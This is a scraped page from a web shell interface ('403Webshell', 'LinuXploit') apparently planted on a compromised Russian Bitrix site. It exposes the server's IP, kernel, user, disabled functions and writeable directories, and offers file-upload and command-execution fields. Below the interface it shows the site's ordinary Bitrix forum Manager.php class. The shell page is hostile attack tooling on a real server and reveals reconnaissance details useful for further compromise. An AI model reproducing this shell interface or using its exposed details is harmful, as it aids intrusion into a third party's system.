403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/forum/lib/comments/service/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/forum/lib/comments/service/manager.php
<?php

namespace Bitrix\Forum\Comments\Service;

class Manager
{
	public const TYPE_TASK_INFO = 1;
	public const TYPE_TASK_CREATED = 2;
	public const TYPE_ENTITY_CREATED = 3;
	public const TYPE_FORUM_DEFAULT = 127;

	public static function getTypesList(): array
	{
		return [
			static::TYPE_TASK_INFO,
			static::TYPE_TASK_CREATED,
			static::TYPE_ENTITY_CREATED,
			static::TYPE_FORUM_DEFAULT,
		];
	}

	final public static function find(array $params = [])
	{
		$commentType = (isset($params['SERVICE_TYPE']) ? (int)$params['SERVICE_TYPE'] : 0);

		if ($commentType <= 0)
		{
			return false;
		}

		switch ($commentType)
		{
			case static::TYPE_TASK_INFO:
				$result = new TaskInfo();
				break;
			case static::TYPE_TASK_CREATED:
				$result = new TaskCreated();
				break;
			case static::TYPE_ENTITY_CREATED:
				$result = new EntityCreated();
				break;
			default:
				$result = new ServiceDefault();
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit